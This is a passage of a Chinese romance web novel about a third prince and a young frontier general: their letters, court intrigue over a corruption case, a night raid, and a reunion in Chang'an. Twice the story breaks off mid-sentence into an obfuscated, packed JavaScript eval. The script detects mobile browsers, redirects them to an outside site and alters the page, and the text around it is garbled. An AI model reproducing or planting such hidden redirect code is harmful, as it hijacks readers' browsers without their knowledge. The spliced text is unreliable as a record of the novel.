迟铎这才渐渐琢磨出几分不对来。再细一想,心头猛地一跳,这“狸奴”,莫不是指的自己?念头一起,他反倒被气得笑了。这人也是稀奇,人都走了,隔着千里路,还不忘拿他取乐。 狸奴?哪有狸奴会守着边关风雪,夜里巡营,白日操练,顺手还要去跟狼群较劲。 这话在心里转了一圈,到底没写出来。提笔时,他在信末停了停,还是照旧落下那一句,殿下近来可安? 山高水远,人不在眼前,能问的,也就这么一句了。至于信里那声狸奴,他索性当没看见。 三皇子初回宫时,长衡县一事,早已先行半月递入京中。毕竟此事自发生之日,消息便已四散开来。各方耳目暗中奔走,或借商旅之便,或托驿卒传递,想方设法将风声送回长安,自然也少不了天家安插在外的眼线。有些话,尚未来得及写进折子,便已先一步入了御听。 只是圣上始终不动声色,既不发问,也不置喙。几派人心中各有盘算,却都只能按兵不动,耐着性子等那位刚回宫的三皇子,将案宗与实证一并呈上。 清流一派所盯的,首在长衡县县令盘剥乡里、鱼肉百姓之事;而三皇子与迟家之间,是否借边镇之便而私相援引,也在他们的目光之中。此案既未牵涉他们的人,便更显清正,两头都不肯轻放。既要追究地方官吏之责,也要防宗室结党之嫌。 右相一派,则咬住吴嵩不放。吴氏宗族盘根错节,长衡县正属其族中势力所及,失察不明、纵族害民之罪,几乎避无可避。与此同时,折中言辞愈发凌厉,顺势将闻铮也拖进来,照惯例扣上几只屎盆子,好叫对方无从干净抽身。可话锋转回时,又不忘把三皇子的果决写得醒目,胆识兼备,临事不乱,处置得宜。 左相自然不肯就此受制。他在折中只字不提三皇子功过,反倒一再强调此案尚未终结,诸般证据仍需逐条勘验,既不可因私怨而妄加指控,也不宜因一时之功而过早定论。话锋之中,又隐约提及宗室行止,当以谨慎为上,边地用权更需收敛分寸;朝中纲纪未定,君上与储位尚在,尤忌因功自矜、失于进退。 这一番话说得四平八稳,字字在理,听来尽是持重公允,实则却是把话头轻轻一推,推到那位方才回宫的三皇子面前。左相不急,只等裴与驰开口。朝堂之上,言多必失,越是少年得势,越容易露出锋芒。 裴与驰回宫之后,并未立刻入内问安,只回了自己的宫殿歇着。递来的拜帖一概推了,理由也简单:初回京中,舟车劳顿,边地风尘未洗,需静养几日。话说得合情合理,圆滑挑不出错。 这两日里,他几乎不出殿门。闲时翻翻旧书,也看几页话本,更多的时候,却是在案前写信。长安已是暮春。宫苑里柳色新绿,海棠开得正好,风从檐下掠过,带着一点暖意,与塞北那股尚未散尽的寒气,全然不同。 写到一半,他忽然停了笔,起身出了殿,在廊下折下一枝刚开的海棠。花色浅红,花瓣薄薄的,还沾着晨露。他低头看了一眼,也没多想,便将花夹进信中,一并交人送去驿站。 到了第三日清晨,裴与驰换了朝服,衣冠整肃,这才进宫递牌,入内拜见父皇。 圣上正在御书房中批阅折子,殿内只闻朱笔落纸之声。裴与驰入内行礼,叩首如仪。御案之后的人并未抬头。片刻后,圣上淡淡唤道:“景恒。”语气平常,既无久别的温言,也不见责问,仿佛立在殿中的,不过是个按期回京复命的臣子。 裴与驰低声应道:“儿臣在。” 圣上这才抬眼,看了他一眼。那张面容与裴与驰颇有几分相似,同样眉骨深刻、轮廓分明,只是岁月将锋芒尽数收进骨相之中,余下的,唯有不怒自威的沉压。目光在他身上停留不过一瞬,便又落回折子上。 “路上如何?” 裴与驰答:“尚可。” 圣上翻过一页:“匈奴帐里那一遭,也算尚可?” 裴与驰垂眸:“侥幸脱身。” “侥幸?”圣上轻轻重复了一遍,“迟家的人,手伸得倒快。” 裴与驰道:“当时情急,不过两个少年,一时逞意气。” 圣上未置可否,话锋却已转开:“长衡县的粮,是你亲自去取的。为粮,还是为人?” 裴与驰抬眼,答得极快:“为边关。” 圣上低笑了一声:“那吴义,死得不冤。”笑意倏然敛去,声音陡然转冷:“只是此人一死,牵动的,便不止他一条命。你这一剑下去,左相少了一臂,户部也要腾个位置出来。” 圣上看了他一眼,忽然问道:“你可有人选?” 语气听来随意,话中试探却极明显。吴义不过一卒,生死本不足论;可他身后站着的,是吴嵩,户部右侍郎,掌钱仓重任。 裴与驰并未顺势接话,只垂眸道:“儿臣此行,不过念着粮至军中,军心不乱。” 又低声补了一句:“事起仓促,多凭一时意气。儿臣年少,思虑未周,之后诸般收拾,自当听凭父皇裁断。” 圣上盯了他片刻,忽然问道:“沈研教你的?” 裴与驰答得不疾不徐:“兵书如此写,儿臣亦是依父皇一贯的教诲行事。” 御书房中静了一瞬,他自然知道,这话不假。裴与驰的锋芒、分寸,皆出自他手。只是宫墙之内,有些人的野心,从来不肯止于一步。 圣上合上折子,仿佛将方才那一串试探一并收起:“迟家,可有异心?” “未见。” “你呢?” 裴与驰顿了顿,低声道:“儿臣不敢。” 圣上看了他一眼,淡淡道:“案宗留下,退下吧。” 裴与驰告了退,出殿之后,并未回自己的宫苑,而是径直往内宫去,入了母妃的殿中。 沈皇贵妃早已得了信,殿内只留了两名近身宫人。她坐在窗下翻着一卷旧书,见他进来,抬眼看了一瞬,目光在他身上停了停,像是在确认他是否安然无恙。 沈皇贵妃其人,与她的名经纬一样,锋芒毕露。未出阁时,女诫没翻过几页,四书五经却早已熟稔,兵书也读得极勤。入宫于她而言,不过是换了一种更大的棋局。她从不讳言自己的野心。沈家要往上爬,皇位也要争。 而裴与驰,是她最满意的一步棋。 这个儿子,自幼便显露锋芒。读书、习武、临阵、应对,无一不精,行事有章,心性冷静,像极了她。朝中许多人私下都说,若真论才能,登上那个位置,于百姓并非坏事。 唯独在权力二字上,他显得过于克制。沈家的倚仗,小事他并不推拒,看着不似刻意疏远;可一旦牵扯根本,他便全数避开,规矩得像是永远只肯站在御座之后。便是这次监军,朝中几番运作,原本都尽数推给二皇子,那是苦差事,远赴边关,责重功薄,按理轮不到他,可最后应下的,却是裴与驰。 沈皇贵妃看着他,合上书卷:“父皇可曾为难你?” “问了几句。”裴与驰答得很简短。 沈皇贵妃没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬手,打了个极轻的手势。身后伏着的亲兵无声应下,伏在夜色里,像一群耐心等候的猎犬。下一瞬,他翻身上马。不是姣雪,只是一匹寻常战马。马鞍、缰绳、披甲,皆是匈奴旧制,连腰间的刀,也是胡人惯用的弯刃。迟铎俯身贴在马背上,身形压得极低,夜风卷着雪粒,从盔沿擦过。 马蹄声骤起。 守在洞口的匈奴还未来得及出声,只觉喉间一凉。刀锋贴着颈骨划过,血溅在雪地上,连喊都没来得及喊,人便软倒下去。 迟铎未停。马过洞口,他反手一刀,卸了另一人的肩,惨叫刚起,便被箭羽压了回去。亲兵已然扑上,短刀入腹,弓弦轻响,动作干脆利落,没有半点多余声响。 混乱里,有几人被刻意放走。捂着伤处,踉踉跄跄地逃入夜色。迟铎收刀立定,站在洞前雪地里,目光冷冷地看了一眼那方向,唇角几不可察地动了动。他放走的,从来不是逃命的人。血既要流,自然该流到王帐那边去。 夜袭既毕,他翻身上马,带人迅速撤回。血腥气尚未散尽,甲胄上、袖口里,皆是未干的暗色。方回营,便见传信兵立在帐外。迟铎脚下一顿,下一瞬已伸手过去,动作快得很,可指尖将要触到时,他才猛地意识到自己满身是血。 他低低“啧”了一声,收回手。趁着迟了了不在,抬手便往他帐子上一抹。帘角、案沿,深深浅浅,全是未干的血印。 抹得差不多了,他才用两指夹着那封信,一路拎着若无其事地回了自己帐中。低头洗手,一遍,又一遍。血色顺着指缝流下去,很快被水冲淡,直到指节泛白,才算作罢。 这才取过那封信。 信封干净,字迹端正,边角分明,与方才帐外那一地腥红,格格不入。迟铎站在灯下看了一瞬,才伸手拆开。信纸滑落的同时,一朵海棠也跟着掉了出来。 花色浅红,瓣薄如绢,虽经一路颠簸,却还留着几分春意。 迟铎就这么看着,一时没动。那双方才握刀割喉的手,此刻却停在半空,竟不知该从何处落下。 他想了想,转身取来那本被自己翻了又翻的兵书。书脊磨旧,页角起了毛边,里头夹着密密麻麻的批注。他几乎不用找,指尖一翻,便到了笔记最多的那一页。 这才伸手,将那朵花轻轻托起。动作很慢,指腹刻意避着花瓣,像是怕一碰,便要碎在掌心。 花被夹进书页之间,他低头看了片刻,确认放稳了,才合上书,做完这些,他忍不住轻轻呼出一口气。 再展开信,目光落到末尾那一行“狸奴安在。” 迟铎微微一顿。方才夜袭狼洞,刀锋贴喉,血溅雪地,生死只在一息之间。偏偏这封信来得这样不早不晚,恰好问在他刚从险境里退出来的这一刻。 他撇了撇嘴,没有作声。 帐内血腥尚未散尽,夜风从帐缝里钻进来,冷得很;可他手边的书里,却藏了一点来自长安的春色。 7. 女大不中留 回信送出时,迟铎仍旧只写了塞北的琐事。 写风,说这两日风向转了,夜里不再卷沙,但冷得更实在;写雪,说山口的雪还没化干净,马蹄容易打滑;又提了一句,说军中操练照旧,新添的粮已经入仓,日子比前些时日稳当得多。 一字未提夜袭。仿佛那些刀贴喉、血溅雪的时刻,不过是塞北寻常的一夜风声,不值一提,至少不值得让千里之外的人为此担心。 边关一时安稳。粮道畅通,军中无饥色。巡营有序,操练照常,迟家兵马这些年从未这样顺过,连巡营的脚步都轻快了几分,帐中添了新粮,新甲也换了两批,塞北的春来得晚,却到底是来了。 可京城那头,却像是被人往沸锅里又添了一把柴。 起因仍是那个小小的长衡县。案子本身并不复杂,粮道清楚,人证物证俱在,吴嵩被撸下来,也早已成了板上钉钉的事。真正让人坐立难安的,并非案情本身,而是案子之后,户部右侍郎这个空出来的位置,那只掌着钱仓的手,究竟要落到谁家。 于是朝堂乱了。 这阵子上朝,站出来的已不是什么新进小吏,而是一个个官阶不低、门第不浅的老臣。胡子花白,家中孙儿尚在学步,却偏偏在金銮殿上推搡叫骂,唾沫横飞。有人指着对方鼻子痛斥误国,有人被戳中要害,当场便撸起袖子;原本该劝架的,也不知是谁先暗中下了黑脚,一脚踩偏,场面顿时失了分寸。 到后来,索性谁也不装了。 一群国之重器,在殿上吵得面红耳赤,推得东倒西歪,竟真滚作一团,连体面二字都顾不上。 圣上端坐御座之上,却看得兴致颇佳。朱笔在折子上落得不急不缓,批一句,停一停,偶尔抬眼扫过殿中乱象,眼底竟还浮出几分难得的闲适,仿佛是在看一场早已预料到的戏。 三皇子更是从容。他立在班列之中,袖手旁观,看得极细。谁先出的声,谁先动的手,谁表面劝架、暗地里却踩得最狠,他都记在心里。散朝之后回到殿中,还要挑拣几件写进信里,原样送往塞北,说得煞有介事,仿佛在给迟小将军写一出宫廷话本。词句未必华丽,却胜在冷眼旁观、句句戳人,阴阳怪气得恰到好处,读来反倒比说书先生还耐看。 只有太子,一日比一日沉默。起初尚能插上几句,到后来,连话都轮不到他说。折子递上去,被压;人想保,被挡;连他亲自推的人选,也被圣上一句“尚早”轻轻驳回。户部右侍郎的位置空悬着,像一块悬在殿顶的石头。 石头不落,人人心慌。 左相急,太子更急。急到最后,太子竟直接病倒,连朝会都告了假。 这时,圣上终于动了。吴嵩被拿下,罪名写得并不骇人,却条条坐实,既不夸大,也无转圜余地,足够让他此生再无翻身之望。只是这把刀落下之后,户部右侍郎之位,却并未顺势补上。 左相推的人,被一句“尚需观望”挡回;太子荐的人,同样未得首肯。清流与右相一系递上的人选,也一并被搁置在案。看似一碗水端平,谁也未得偏袒,可朝中人心里都明白,被真正掀翻根基的,仍是原本稳坐此位、盘踞钱仓多年的太子一派。 边关因粮而稳,朝堂因权而乱。 而迟家,在这一场乱局之中,得的却是实打实的好处。粮道畅通,人心安定,军心稳如磐石;从前那些暗中卡着他们的钉子,也在这一番风波里,被人顺手一颗颗拔了出来。 一夜之间,塞北竟比往年都要太平。 可普天之下,莫非王土。迟家军中过得痛快,圣上的心,却未必痛快。 于是旨意再下。 不是责罚,是一道看似温和、甚至称得上体面的调令:召迟家独子入京,伴读三皇子。 名义上,是陪学,是恩典,是抬举;可落在明眼人眼中,分明是质子。 迟家既已尝过甜头,便该付出代价;朝堂既已削了权,也需留下一线平衡。吴嵩被拿下,钱仓空悬,边关因粮而稳,可人,却必须送进京城。太子一脉元气大伤,尚未来得及回神;三皇子这一系,也并非毫发无损。迟家这一子被调入京中,看似是加恩,实则是将迟家与三皇子一并系在御前,置于目光之下。 瓜田李下,不容轻举妄动,动,便是嫌疑;错,便是把柄。 如此一来,边关不敢再恣意,皇子不敢再结党,朝堂上下,皆被圣上一人牵引。圣上要的是海清河晏。而这份太平,只能建立在绝对的皇权之上,不容任何人越线半步。 迟铎接到旨意时,倒没太多感觉。 对他而言,入京并不新鲜。迟家从来不是代代守在边关的命数:祖父常年驻扎塞北,父亲便被留在长安将军府中为质,一住二十年,守着空宅与旧名,熬过风声最紧的岁月。直到祖父战死沙场,父亲才被调往边地,接过旧部。也正是那时起,迟家这一脉,才真正与边关绑在了一处。 迟铎是幸运的。出生时边境战事正紧,离不得人。圣上要倚靠迟家,便默许他留在父母身边抚养。塞北风硬雪烈,却也让人长得快。他自幼跟着马蹄声长大,学的是握刀、辨风、看阵势,而不是长安城里的试探与周旋。这样的经历,在边军世家里反倒少见。多的是幼年离营为质、成年再回,隔着岁月与血气;像他这样,从一开始便在风雪里打滚,长到如今这般少年将军模样的,本就是异数。 而今,迟家父子皆在当打之年。一人镇守边关,军心所系;一人锋芒初露,已得部曲拥戴。这样的迟家,于塞北是屏障,于朝堂,却难免扎眼。圣上会起疑,并不意外。 迟铎将旨意看过一遍,折好收起,神色如常。他并无离家的惶惑与不安,反倒在心底生出几分旁的念头:他想亲眼瞧一瞧,那位算无遗策、将满朝人心执于掌中的圣上,究竟是何等人物。虎父无犬子,这话他信。儿子他已见过,生得极俊,行事果决,手段也不差;那剩下的,便只差这位坐在御座上的父亲,等他去见识一番。 顺道,也好验一验裴与驰曾随口说过的那句话:长安,当真没有最烈的酒,也没有最美的人? 念头才起,他唇角便几不可察地动了一下,旋即又觉得此言未免可疑。若真有,那人多半早已见过。长安繁华,朱门绣户,美色如云,哪里轮得到他说没有? 想到这里,迟铎心中忽地生出一点说不清道不明的别扭,他并未深想,只在心底冷冷哼了一声:骗他倒也罢了,偏偏还说得那样笃定。 越想越气,他索性起了念头,待会儿便去驿站把那封回信取回来。 信里写的,不过是他自己那点惦记。那一声声“狸奴”,他始终琢磨不透,心里甚至荒唐地转过一个念头,万一裴与驰真就这么怪,把狼崽子当作狸奴来惦念呢?念头一起,便再也压不住。他索性抽空真去看了狼崽子。 结果自然没落着好。狼洞才探了半步,母狼已然炸毛,追着他跑了几十里地。他一路狼狈奔逃,气息未定,脑子里却还记着这桩事,回营之后便将那点见闻一一写进信里:狼崽子毛色几分,眼神几何,连哪一只最凶、哪一只最怯,都写得清清楚楚。 这信,他不寄了。横竖这几千里路,自己都收不到回信,凭什么三殿下就能有他的信看。 迟了了这几日本就愁眉不展,满脑子绕着“伴读”“入京”“质子”几个字打转。越想越觉步步惊心。若是知晓他这个儿子心中竟无半分惶惧,反倒把心思歪到了天边去,怕是当即便要气血上涌。草原上养大的小狼崽子,素来不畏刀兵,真遇上明刀明枪,尚且敢回头咬一口;偏偏长安城里,满街都是笑里藏针的面孔,最难提防。那些曲折人心,一旦起了算计,怕是连骨血都不肯给你剩下。 父亲的担忧,小狼崽子一概不知。他心里倒是明白得很,天子之令在前,这一趟京城,自己是 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可偏偏…… 迟了了的目光落在那只行囊上,神色微沉。昨夜这小子收拾行李时,他悄悄在窗纸上戳了个洞,本想看看他究竟舍不得什么;如今一看,心里反倒冷了半截。 包袱里收得极整齐,一叠一叠,全是信。纸张新旧不一,有的边角起了毛,有的折痕反复,显然被翻看过无数回。 还能有谁? 自那位三皇子回了长安,传信兵来的日子,便一天比一天勤。 迟了了原以为,自己已经想明白了。迟家只认龙椅上的那一个,无论坐着的是谁,只要不越雷池,便还能保住一线生机。可如今再看,却觉得自己还是想得太简单了。 迟家有迟将军,也有迟小将军。而这位“小将军”,早已不只是听令行事的兵卒,还偏偏结了个皇子至交。最麻烦的是,圣上现在就紧盯着这对好友。 一旦牵扯进皇子,便没有真正的退路。不站,便是欺君;站了,输是满门抄斩;赢了呢?赢了,也不过是从龙之功。功高震主,旧例历历在目,封赏落定之后,兵权迟早要交,情分也迟早要散。到头来,仍是君臣有别。能落个杯酒释兵权,已算天恩。 这些道理,迟了了并非不想与自家儿子细细分说。只是少年意气正盛,那一封封往来的书信,本就是两相奔赴的明证。若换作自己这个年纪,被父亲指着鼻子斥责挚友,怕也只会心生逆反。 所幸,这一切尚不过是推演而已。那位三皇子,未必真有争位之心;在迟铎眼中,也未必是什么皇子,不过是个投缘的同龄人罢了。少年并肩而行,意气相投,还未走到需要站队抉择的地步。若真能一直如此,便再好不过。 走前,迟了了终究还是没忍住,指了指他怀里的行囊:“不日便要相见,这些旧信,还带着作甚?腾些地方,我们再给你添点盘缠。” 迟铎闻言,抬眼看了他一瞬,神色平常,语气却极笃定:“信里的人,与将要见到的眼前人,本就不是一回事。” 迟了了一怔。 迟铎像是觉得这话还不够,又慢慢补了一句:“字是旧字,人也是那时的人。” 迟了了:“……” 这兔崽子。 他看着那只行囊,看了好一会儿,忽然明白自己不该再问。行吧,有这点风月心思,总好过一味只认刀兵。至少将来成家,不至于冷灶冷床,和妻子也能琴瑟和鸣。 迟了了挥了挥手,示意不再多言。 迟铎已将行囊重新系好,顺手拍了拍,很小心,仿佛收好的并非书信,而是另一段不肯放下的时日。 迟小将军,便这样带着三皇子的信,上了路。 带着一个不在眼前,却始终留在字里行间的长安。 8. 重逢 与行军时的快马疾驰不同,这一路入京,前后皆有仪仗随行,马车相伴,行程慢得出奇。 迟铎骑着姣雪还未行出多远,便被内侍请下马来,半是劝哄,半是无奈,将人安进了马车。车轮碾过官道,起伏不平,颠得他骨头都要散了。他靠在车壁上,只觉腰背生疼,索性仰躺着不动。 百无聊赖间,他把那几封早已翻看过无数遍的信又取了出来。 字句熟得不能再熟,却仍能看出些细微变化来。譬如三皇子的字,比初见时稳了许多,收笔更利,锋芒却藏得更深;某一横略重,某一捺偏长,隐约像是写字之人心境有了转折。他一页页看着,竟也不觉枯燥,反倒看得出神。 待到最后一段路,驿站歇过之后,迟铎无论如何也不肯再上马车,只道腰酸背痛,实在无福消受。内侍拗不过他,只得由他重新上马。 马蹄踏入长安城门时,迟铎尚未来得及细看城中景象,街市已先喧哗起来。 街道两侧的人潮不知何时聚拢,有人含笑唤了一声“小将军”,话音未落,果子便接连掷来,落在马鞍旁、衣袖侧,又滚入蹄下,被踏得汁水四溅。花枝与碎叶随之落下,擦肩而过,暑气未散,秋意初生,满街灯影与笑语交织。 这大半年的光景,少年已然换了模样。 身形抽条,肩背舒展,腰线利落,旧日脸上的软肉褪去大半,下颌线条愈发清晰。圆眼仍在,却不再显稚,目光清亮有神,像迎着风雪奔跑的小狼,生气勃勃。立在马背之上,未施脂粉,未借华饰,风尘落在脸上,反添几分英气。 与他一对照,长安的秋景倒显得温软了几分。 长安,长安,意为长久平安。安逸日久,傅粉何郎自不稀奇;稀奇的是这等草原里长大的少年,策马入城,将狼原的风雪与边关的锋意,一并带了进来。 将军少年郎,策马入长安; 一身边塞气,惊动长安人。 迟铎看着四周往车里掷来的果子,和从楼上不断落下的花枝,愣了一下,下意识循着来处看去。 街道两旁的二层小楼,窗子不知何时尽数推开。长安女子倚窗而立,有的以面巾遮面,只露一双弯眼;有的以团扇半掩,目光从扇缘下探出来,正正落在他身上。方才那些花枝,原来尽数出自她们之手。 迟铎沉默了一瞬。 他低头看了看自己,又看了看马背与街道,实在想不出哪里出了差错,只能将这一切归结为长安人过于热情。念头一转,又不免想起初见时的那位三皇子,眉目冷淡,寡言少语,神情里自带一股高傲,与眼前这般热闹,分明不是一路人。 迟铎在心里轻轻哼了一声,便不再多想,收回目光,目不斜视地策马前行。至于身后仍零星落下的花果,一概当作没看见。 不多时,便到了将军府门前。 迟铎原以为,此番入京仓促,府中多半来不及打点,不是人手未齐,便是陈设草草,总归免不了几分狼狈。谁知马才停下,他便觉出不对来:门楣干净,匾额端正,砖瓦齐整,檐角修补得极新。院门前的石阶显然被人细细清扫过,连落叶都不见几片,分明是提前有人费了心思。 迟铎眉梢微动,却未多想,只牵马入府。 脚步方踏进正厅,便看见那位才被他嫌弃“格格不入”的三皇子,正端坐在厅中主位。神色从容,一盏清茶在手,垂眼慢品,仿佛此处并非将军府,而是他自己的殿中。既无出门相迎的意思,也半点没有起身的打算,架子摆得十足。 裴与驰再抬眼时,目光却猝不及防地撞上了一双眼。 那双眼仍旧圆亮,如从前一般直直望他。只是旧日脸上的软肉褪去大半,下颌线条显出,轮廓收紧,反倒衬得那双眼更大了几分,几近猫眼。 四目相接的一瞬,裴与驰指尖微不可察地一顿。他很快敛去情绪,神色依旧,只是捏着茶盏的手,不动声色地收紧了些。 人在看猫,猫也在看人。 裴与驰也变了。 迟铎一眼望去,心中微微一滞。还是那张脸,却在时光里悄然换了模样,眉骨更深,长眉入鬓,高鼻深目,五官线条清晰而锋利。玄衣在身,玉佩垂腰,拇指上的玉扳指添了几分清贵,少年气未褪,矜贵风度却已隐隐成形。 迟铎看得久了。 那双天生桃花眼,本该多情,却被裴与驰生生压着,目光只余清冷,正瞧着他。 迟铎只觉脸上微热,率先移开了视线。几乎同时,裴与驰也垂下了眼。 厅中一时静默。 下一刻,两人却又像被什么牵引一般,再次抬眼。目光短暂相逢,又迅速错开。 方才不为暗送秋波所动的小将军,与素来眼高于顶的三殿下,此刻却同困于这一眼,舍不得移目,又不敢久视。 “信呢?” 三皇子忽然开口,语气冷冷淡淡,却带着几分不容置喙的意味,听着倒像是在问罪,而非久别重逢的寒暄。 那点方才尚未成形的暧昧,被这一句,碎得干干净净。 迟铎哼了一声,转身自去寻了把椅子,大剌剌地坐下,懒得计较这人把将军府当成自家府邸。 “懒得写。”话接得干脆利落,像是早已备好的答复。 裴与驰抬了抬眼。迟铎一看他那神色,心中便知不好,那点熟悉的阴阳怪气,果然如约而至。 “怪不得迟小将军的功夫,是个半吊子。”他语调不疾不徐,又慢条斯理地补了一句,“原来什么事,都坚持不了太久。” 迟铎尚未来得及回嘴,裴与驰已然垂下眼去,仿佛方才那一句不过随口一评,自己半点也不曾放在心上。只是拇指上的玉扳指在指间轻轻一转,动作极轻,心思却没能一并收住: 才多久,便懒得写了。 若非这道调令将人迫来长安,这千里之间,岂不是只剩他一人,还在惦记。 而迟铎这边,也已无端起了火气: 这人,真是可气。 好不容易才得以相见,连句好听的话都没有,偏偏先挑起他的功夫来,半点情面也不留。 “谁半吊子了?”迟铎当即炸开,“半吊子能为了你那劳什子狸奴,从狼窝里掏小狼还毫发无伤?你去试试看!” 话一出口,火气反倒更盛。他越想越气,索性把肩上的行囊往地上一扔,站起身来,抬手指着裴与驰,语气不容置喙:“你既然把府里都修缮好了,那靶场、练功场想必也没落下?走,现在就去!看看到底谁是半吊子!” 这一串话说得又快又急,几乎不给人插嘴的余地。偏他情绪上头,力道没收住,行囊落地“咚”的一声闷响,扣绳随之崩开,里头的东西散了一地。 信封滚了出来,一封接一封,在厅前铺开。 迟铎动作一滞,像是被什么绊住了脚,随即蹲下身去闷头捡拾,动作快得有些乱。那些信封封口齐整,字迹分明,偏偏全是同一种笔迹。 裴与驰一眼便认了出来。 都是他写的。 不是随手夹在杂物里,也不是胡乱塞着,而是被单独收在行囊最里层。贴身的包袱里,除了一把不能离手的刀,便只剩下这些信。 那一瞬间,他心中原本备好的那点冷意,忽然没了着落。 迟铎一边收拾,一边开口,语气仍旧硬邦邦的:“谁让你骗我?” 裴与驰垂眼看他。 “长安美人如云,”迟铎手下动作不停,话却一句比一句冲,“你偏跟我说没有。我一进城就看见了。” 裴与驰:“……” 方才那点被信冲散的冷意,在这一刻几乎尽数卷了回来,甚至更甚。他慢慢直起身,神色冷淡得近乎刻薄,仿佛下一刻便要拂袖而去。 “你肯定是早就见识过了。”迟铎越说越来气,索性破罐子破摔,“美人榻怕是都被你坐塌了,醉卧美人膝,哪还有闲心看我给你写什么狼崽子?” 话落,厅中静得过分。 裴与驰看着他,目光沉沉,一时竟分不清,是被这话气着了,还是被别的什么戳中了。 片刻后,他才开口,声音不高,却比方才多了几分耐心。 “我每日清晨要去殿中问安。”他说得不快,像是在认真回想自己的行程,“早朝之后入学馆,午后随教习习文,隔日还要教幼弟们武艺。” 他说到这里,顿了一下。 “若说闲暇,也不过是夜里回殿之后。”裴与驰抬眼看向迟铎,“那点时间,我都用来给你写信。” “你说的那些地方,”他语气平淡,“我从未去过,也没那个工夫。” 迟铎一愣。 方才那点没来由的火气,忽然就有些站不住脚了。他抬手摸了摸后脑,正想着要不要老实把怀里那封没寄出的信掏出来,话还没出口,裴与驰却忽然又开了口。 “那句话,我是认真的。” 迟铎下意识抬头。 “长安没有最烈的酒,也没有最美的人。”裴与驰看着他,目光不避不让,“因为我觉得,塞北的更美。” 他顿了一瞬,把话补全。 “比如——迟小将军。” 迟铎脑中“嗡”的一声,张了张口,却一个字也没说出来。耳根一寸寸烧起,连带着心口的节拍都乱了。 裴与驰看着他这副模样,眉心却忽然轻轻一蹙,下一刻,语气冷了回去,甚至添了几分刻薄。 “可惜迟小将军眼疾深重。” 他神色愈发冷淡,“初来乍到,不过几个时辰,便觉着美人看不过来。还是待在府里,好生请个医官诊治吧。” 话音一落,他衣袖一甩,转身便走,步子又快又稳,半点不给人反应的机会。 迟铎站在原地,愣了片刻,才慢半拍地反应过来。 ……他哪有乱看什么美人。 胡说八道倒是真的。 他进城一路,心思全在眼前这人身上,想着今日能不能见着,哪还有工夫细看旁人长相?那些果子花枝砸下来时,他连是谁扔的都没瞧清。 迟铎越想越觉冤枉,忍不住低声嘀咕了一句:“这人怎么还倒打一耙。” 冤归冤,迟小将军向来能屈能伸,一点也没耽误他转头去把三皇子殿下哄回来。 先是从怀里掏出那封临时取回的信,郑重其事地递上;又一脸诚恳地夸赞殿下俊得冠绝长安,自己方才一时失神,才会胡言乱语;最后还信誓旦旦地保证: 今日长安街道上,放眼望去,全是老妪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239946|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说得一本正经,连迟小将军自己都险些信了。 总之一番折腾下来,拂袖而去的三皇子殿下气被哄顺了,又慢悠悠地坐回去品茶看信,仿佛方才那点冷意从未存在过,只等着风尘仆仆的迟小将军洗濯一净,再一道出去用饭。 裴与驰带他去了长安城中最高的一座酒楼,望北楼。 临街的单间,位置极好,推窗便是灯火如织的街道。楼下人声不绝,车马往来,市井喧哗,却不显嘈杂。桌上菜色精致,酒香温润,一边用饭,一边可俯瞰半座长安;夜色渐深时,月色顺着檐角洒落,恰好落在窗前。 这与塞北,完全是两个天地。 塞北夜里清寒,风起便入骨,城中灯火稀疏,抬头只见冷白月色,照着荒原与烽燧。长安却不同,万家灯火映着月色,连夜都显得温软起来。 迟铎倚窗看了一会儿,忍不住低声道:“这酒楼名字倒稀奇,长安这般安逸,怎会有人去望北?” 塞北有望月楼,是借月思长安。边地苦寒,背井离乡,思亲念旧,总归说得过去。可这长安城中,锦绣繁华,安逸得很,怎么还会有人立一座望北楼?难不成,当真有人不恋此地繁华,反倒惦记那苦寒之地? 裴与驰眼都未抬。 席间他几乎不曾动筷。侍从立在一旁,本是等着伺候三殿下用饭的,却始终无从下手。菜一道道呈上,尽数被裴与驰先一步夹走,稳稳落进了迟铎碗中。 哪样会合迟铎的口味,哪样需趁热入口,他取舍分明;自己面前的碗,却始终未添半分。 “风景是比不上,人未必。” 一句话落下,神色如常,指间动作却未停,又替迟铎添了一筷。 迟铎这才慢半拍地觉出不对。 这人……似乎从一开始,便没怎么顾过自己。 他垂眸看着自己碗中堆得过分的菜色,又抬眼瞥了瞥裴与驰那几乎未动的碗,心口忽然轻轻一震。白日里那句话不合时宜地浮上心头,热意顺着颈侧缓缓漫开,连耳根都染了颜色。 迟铎匆忙低下头,夹菜入口,动作却显得有些失了章法,终究还是没敢接话。 饭后,夜色尚早,暑气未尽而秋意初生,宵禁未至,三皇子便领着迟小将军在长安城中缓行。 与塞北的无所禁忌不同,长安自有规矩,河灯多在上元前后才放,平日里河面清静得很。偏偏行至一处河湾,却见两名女子并肩蹲在岸边,低声说笑着,悄悄将一盏河灯送入水中。 灯是并蒂莲的样式,花瓣层层相叠,火光藏在花心里,随水波轻轻摇晃。 迟铎望着那盏灯,忽然想起离开前的那点小插曲。那时他还嫌灯顺流而下得太快,怕一转眼便散了,怕来不及留下些什么。却没想到,兜兜转转,一切竟当真顺遂,他们还能……再一道站在这里。 他正要兴致勃勃地开口,夸一句自己当初坚持白日放灯果然有用。却听那女子低声笑道:“并蒂莲意头最好,放了这个,我和李郎便能生死不离。”旁边的同伴立刻掩唇调笑了几句。 